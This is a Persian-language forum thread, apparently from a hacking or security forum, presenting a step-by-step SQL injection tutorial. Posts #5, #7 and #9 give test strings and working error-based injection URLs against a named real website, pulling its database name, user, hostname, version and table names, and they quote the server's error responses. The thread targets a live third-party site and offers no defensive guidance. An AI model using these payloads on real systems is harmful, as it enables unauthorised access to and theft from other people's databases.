![]() |
|
|
#1 |
|
مديريت بخش
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
|
هدف اين تاپيك آموزش گام به گام SQL Injection است.
اميد است با كمك دوستان، به تاپيك موفقي تبديل شود.
|
|
|
|
| The Following 13 Users Say Thank You to Provider For This Useful Post: |
|
|
#2 |
|
مديريت بخش
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
|
در مرحله اول بايد روي سايت هدف متمركز شويم و شروع به جمع آوري اطلاعات از روي سايت كنيم.در اين مرحله موارد زير براي ما اهميت دارد
کد:
پيدا كردن وب سرور هاي نصب شده بر روي سرور Application* Data Base نوع ارسال مي شوند Get و يا Post توجه به تمام درخواستهايي كه با متد ویرایش توسط Provider : 03-08-2010 در ساعت 10:34 AM |
|
|
|
|
|
#3 |
|
مديريت بخش
تاریخ عضویت: Dec 2009
نوشته ها: 186
Thanks: 6
Thanked 238 Times in 99 Posts
|
مختصر و مفید به صورت اسلاید:
|
|
|
|
|
|
#4 |
|
مديريت بخش
تاریخ عضویت: Mar 2010
نوشته ها: 291
Thanks: 113
Thanked 493 Times in 211 Posts
|
با سلام
یه مقاله فارسی با موضوع Sql Injection برای دوستان میگذارم البته مربوط به سال 2006 هست ولی مطالب خوبی رو بیان کرده و گریزی هم به سایر حملات زده تا جاییکه یه دفعه از XSS سر در میاره. ولی در کل مطالب به درد بخوری داره. با تشکر |
|
|
|
|
|
#5 |
|
مديريت بخش
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
|
معولا براي تشخيص آسيب پذير بودن يك سايت لازم است مقادير زير مورد بررسي قرار بگيرند.
کد:
‘ or 1=1 "or 1=1 and 1=1 and 1=2 کد:
www.fah.se/index1.asp?siteid=1 کد:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /index1.asp, line 73
|
|
|
|
| The Following 4 Users Say Thank You to Provider For This Useful Post: |
|
|
#6 |
|
مديريت بخش
تاریخ عضویت: Mar 2010
نوشته ها: 291
Thanks: 113
Thanked 493 Times in 211 Posts
|
با سلام
با تشکر از Provider عزیز که این تاپیک رو برپا کردند. Injection به معنی تزریق و یا وارد کردن یک کوئری SQL به برنامه (وب) ، از طریق ورودیهای برنامه ، از سمت Client می باشد. برای انجام این کار ، مرحله اول جمع آوری اطلاعاته که برای خودش دنیایی داره. بخشی از این جمع آوری ، یافتن ورودیهای برنامه است شامل: _ ورودیهای مستقیم برنامه مانند TextBox ها و ... _ فیلدهایی که بصورت پارامتری در URL به برنامه ارسال می شوند. _ فیلدهای مخفی که درون صفحه وجود دارند و از طریق متد POST به برنامه ارسال می شوند. ممکنه این سوال پیش بیاد که فیلدهای مخفی رو چه جوری پیدا کنیم و روی اونا اینجکشن بزنیم. این خودش داستان داره که در اینجا اگه بخوایم به اون بپردازیم کلی زمان می بره و ان شاءالله در تاپیکهای دیگه عمری باشه بهش بپردازیم. در ادامه باید توی برنامه جاهایی رو که به DataBase اتصالی صورت می گیره ، بررسی نمود برای نمونه : _ فرم های Authentication یا همان فرم هایی که کاربران از طریق آنها به برنامه لاگین می کنند. _ Search Engine های برنامه و جاهایی که جستجو صورت می گیرد. _ سایر جاهایی که اطلاعاتی از بانک خوانده شده و به کاربران نمایش داده می شود و ... . اکنون باید ورودیهای برنامه چک بشه که با همان روشی که Provider گفت می شه عمل کرد و این کار بر مبنای ایجاد خطا در کوئری صورت می گیره که اگر این خطا در برنامه خودش رو نشون بده و پیغام خطایی نمایش داده بشه ، به معنی وجود اینجکشن در برنامه است که این نوع ، بهترین نوع اینجکشنه. البته انواع دیگری هم مثل Blind و ... وجود داره که بعدن بهش می رسیم. اووووووه چقدر حرف زدم شما رو هم خسته کردم. بقیش بمونه برای بعد. ![]() با تشکر |
|
|
|
| The Following 13 Users Say Thank You to firemaker For This Useful Post: |
|
|
#7 |
|
مديريت بخش
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
|
همانطور كه Firemaker عزيز گفتند، Injection انواع مختلفي دارد (Error Based, Union Based, Blind)، كه در حال حاضر مثالي براي نوع Error Based را بررسي ميكنيم.
متوجه شديم، سايت [فقط اعضای سایت قادر به دیدن لینکها میباشند ] آسيب پذير است. حالا موقع بدست آوردن اطلاعات كلي سايت مي باشد. در نوع Error Based لازم است به نحوي خطايي ايجاد كنيد، كه به نتيجه دلخواه برسيد. براي نمونه در اينحا خطاي مدنظر بوسيله تابع Convert در هنگام تبديل String به Integer بوجود مي آيد. اسم Database را با دستور زير مي توانيد بدست آوريد: کد:
http://www.fah.se/index1.asp?siteid=convert(int,db_name()) کد:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fah' to a column of data type int. /index1.asp, line 73 مي توانيد براي بدست آوردن نام بقيه Database ها به روش زير جلو برويد. کد:
http://www.fah.se/index1.asp?siteid=convert(int,db_name(0)) http://www.fah.se/index1.asp?siteid=convert(int,db_name(1)) http://www.fah.se/index1.asp?siteid=convert(int,db_name(2)) http://www.fah.se/index1.asp?siteid=convert(int,db_name(3)) و ... کد:
http://www.fah.se/index1.asp?siteid=convert(int,user_name())---->dbo ![]() به همين ترتيب به سادگي مي توانيد HostName سرور Database را نيز بدست آوريد. کد:
http://www.fah.se/index1.asp?siteid=convert(int,host_name())---->DE-0182 کد:
http://www.fah.se/index1.asp?siteid=convert(int,@@version) ویرایش توسط Provider : 03-10-2010 در ساعت 03:52 PM |
|
|
|
| The Following 10 Users Say Thank You to Provider For This Useful Post: | alireza17 (03-12-2011), alivpnamini (10-23-2011), brwsk007 (06-12-2010), dhmkiev (11-24-2010), holoo81 (03-10-2010), M3hr@n.S (03-10-2010), night25 (01-08-2011), saeed hg (11-12-2011), saeedhunter (02-11-2011), urcc (04-25-2011) |
|
|
#8 |
|
مديريت بخش
تاریخ عضویت: Mar 2010
نوشته ها: 291
Thanks: 113
Thanked 493 Times in 211 Posts
|
با سلام
در راستای ادامه بحث SqlInjection ، امروز یه Help خیلی عالی پیدا کردم که بهونه ای شد تا قدری در مورد پیش نیازهای SqlInjection صحبت کنم. باید بگم برای کار کردن با SqlInjection نیازه که فرد کمی در مورد کار با بانکهای اطلاعاتی ، ساختار اونا ، طریقه به دست آودن اطلاعات مهم ، پروسیجرهای آسیب پذیر و ... اطلاعاتی داشته باشه. توی این فایلی که براتون میگذارم ، همه این اطلاعات برای بانکهای اطلاعاتی Sql Server ، Oracle ، MySql و ... آورده شده است که توضیح همه اونا زمان زیادی می بره. البته این فایل مربوط به یکی از ابزارهای SqlInjection هست که در جایی دیگه هم آورده شده ولی به خاطر ربط اون با این مبحث ، اونو مجدداً اینجا هم آوردم با این امید که این Help برای همه دوستان مفید باشه. با تشکر ویرایش توسط firemaker : 03-13-2010 در ساعت 04:01 PM |
|
|
|
|
|
#9 |
|
مديريت بخش
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
|
پس از بدست آوردن اطلاعات كلي سرور حالا نوبت به پيدا كردن نام Tableها مي باشد.
براي اين كار لازم است براي بدست آوردن نام اولين Table به صورت زير اقدام كنيم کد:
http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables)) براي بدست آوردن نام بقيه Table ها نيز بايد با استفاده از NOT IN نام Table هايي كه در مراحل قبل بدست آمده به روش زير كنار گذاشته و نام ديگر Table ها رابدست آوريد. کد:
http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('_textCols')))
http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('_textCols','_bgCols')))
http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('_textCols','_bgCols', '_sites')))
خوب به همين ترتيب بايد جلو برويم تا صفحه خطا تغيير كند. به اين ترتيب نام كليه Table را بدست آورده ايد.
ویرایش توسط Provider : 04-13-2010 در ساعت 09:21 AM |
|
|
|
| The Following 4 Users Say Thank You to Provider For This Useful Post: |
|
|
#10 |
|
عضو جديد
تاریخ عضویت: Mar 2010
نوشته ها: 3
Thanks: 13
Thanked 1 Time in 1 Post
|
besiar tashakor azizam besiar amzosh e jaleb bod tashakor qandam
|
|
|
|
| The Following User Says Thank You to cyber-ninja For This Useful Post: | saiedsoftt (03-06-2011) |
![]() |
| برچسب ها |
| detection, mysql, oracle, sql injection, sql server, table, چک نمودن, ورودی, یافتن, گام به گام, آموزش, اینجکشن, اطلاعات, تارگت, ستون |
| ابزارهای موضوع | |
| نحوه نمایش | |
|
|